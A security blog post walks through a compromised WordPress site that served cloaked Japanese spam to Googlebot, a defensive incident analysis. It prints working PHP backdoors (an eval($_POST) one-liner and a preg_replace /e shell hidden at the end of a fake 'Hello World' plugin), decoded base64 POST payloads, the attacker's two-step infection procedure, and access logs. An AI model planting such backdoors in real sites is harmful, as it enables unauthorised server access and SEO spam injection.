Can you be really sure that all visitors of your site see it the same way as you do – design and content? In the era, when content matters more and more, one type of hacker attacks became particularly popular – content spoofing. You will find out the algorithms and tools that hackers use to perform such attacks, specifically replacing website’s content for particular visitors.

Discovery story

A client has come with the trouble that the blog of their site is shown in Japanese within Google Search:

Website in Google search results

Googlebot rendered the client’s site content the following way:

Google-bot sees website

At the same time, the website’s design and content in a web browser was absolutely normal.

Infected and strange files

Since the problem happened on blog pages, we started digging there. The website used WordPress – so we checked all files in the blog’s root folder. Eventually we detected an extremely big wp-blog-header.php (average file size of wp-blog-header.php is about 300 bytes). There we detected a strange code:

Infected file

This infected wp-blog-header.php can be downloaded here.

Having deleted extra lines from wp-blog-header.php, all the files were scanned by an antivirus and no malicious software was found. However, looking through the directory another suspicious file was detected wp-admin/49883541.php, a sign that a backdoor has been found.

<?php @eval($_POST['h6vlxj08']); ?>

The usage of POST for transmitting and executing malicious software code on the server side with the help of eval function, made us check all POST requests to the site within the last 24 hours. The result was the following:

cPanel log

Besides the wp-admin/49883541.php found earlier, another unusual PHP file was been detected – content/plugins/b5d1bdd6b9e3/index.php. At first glance, there was nothing strange in it:

<?php
/**
 * @package Hello_World
 * @version 1.6
 */
/*
Plugin Name: Hello World
Plugin URI: http://wordpress.org/plugins/hello-World/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.6
Author URI: http://ma.tt/
*/
function hello_world_get_lyric() {
   /** These are the lyrics to Hello Dolly */
   $lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
So, take her wrap, fellas
Find her an empty lap, fellas
Dolly'll never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
Golly, gee, fellas
Find her a vacant knee, fellas
Dolly'll never go away
Dolly'll never go away
Dolly'll never go away again";
   // Here we split it into lines
   $lyrics = explode( "\n", $lyrics );
   // And then randomly choose a line
   return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later
function hello_dolly() {
   $chosen = hello_world_get_lyric();
   echo "<p id='dolly'>$chosen</p>";
}
// Now we set that function up to execute when the admin_notices action is called
//add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph
function dolly_css() {
   // This makes sure that the positioning is also good for right-to-left languages
   $x = is_rtl() ? 'left' : 'right';
   echo "
   <style type='text/css'>
   #dolly {
      float: $x;
      padding-$x: 15px;
      padding-top: 5px;     
      margin: 0;
      font-size: 11px;
   }
   </style>
   ";
}
//add_action( 'admin_head', 'dolly_css' );
?>
<?php @preg_replace("/[pageerror]/e",$_POST['pass'],"saft"); ?>

We have changed the server credentials. Having confirmed that the Googlebot and users see the site in browser the same way, we could say that the issue was eliminated. Still there was a need of some monitoring to be done for the possible hacker attack recurrence. And for every infected file that had been previously found, we placed stubs to log any requests to these files.

Log file of queries to wp-admin/49883541.php:

POST data:
Array
(
    [h6vlxj08] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICdTdWNjZXNzJzs7ZWNobygifDwtIik7ZGllKCk7
)
GET data:
Array
(
)

The following code was assigned to $_POST[z0]>:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
echo 'Success';;
echo("|<-");
die();

If the PHP code above was executed then the results would be the following:

->|Success|<-

Numerour POST queries to wp-content/plugins/b5d1bdd6b9e3/index.php have been detected:

Array
(
    [pass] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
)

This PHP code was assigned to $_POST[z0]:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$rootdir = '';
$filePath=$rootdir.'/index.php';
echo file_get_contents($filePath);;
echo("|<-");
die(); 

The execution of which returned:

->||<-

We got the same result when we ran:

@preg_replace("/[pageerror]/e", $_POST['pass'], "saft");

So, the code above:

  • ran scenarios of @eval(base64_decode($_POST[z0]));
  • the resulting ->||<- string used as a second parameter in the preg_replace:
@preg_replace("/[pageerror]/e", '->||<-',"saft");

In this case, hackers infected wp-blog-header.php with @preg_replace("/[pageerror]/e", $_POST['pass'], "saft") from the wp-content/plugins/b5d1bdd6b9e3/index.php.

The attack algorithm

1. Send a POST-query

Array
(
    [pass] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
)

to wp-content/plugins/b5d1bdd6b9e3/index.php.

2. If the answer is equal to ->||<- then the hacker sends a special query that will infect the necessary file. Click here to download a special POST query that infected the wp-blog-header.php:

Infected file

Injection purpose

The wp-blog-header.php file was placed in a number of blog pages. So, when the Googlebot rendered a page of the website, the infected wp-blog-header.php returned incorrect content – content of another website. At the same time, a usual user saw this website properly.

How to detect

First of all, POST queries to the website in the website’s log file should be checked. You should pay special attention to queries to unusual file names and plugins. In this case, all suspicious queries were sent from 69.30.217.26:

69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "GET / HTTP/1.1" 200 822 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"

How to cure?

In this case, credentials to the server were changed and all the detected scripts were removed. The hacker attacks stopped.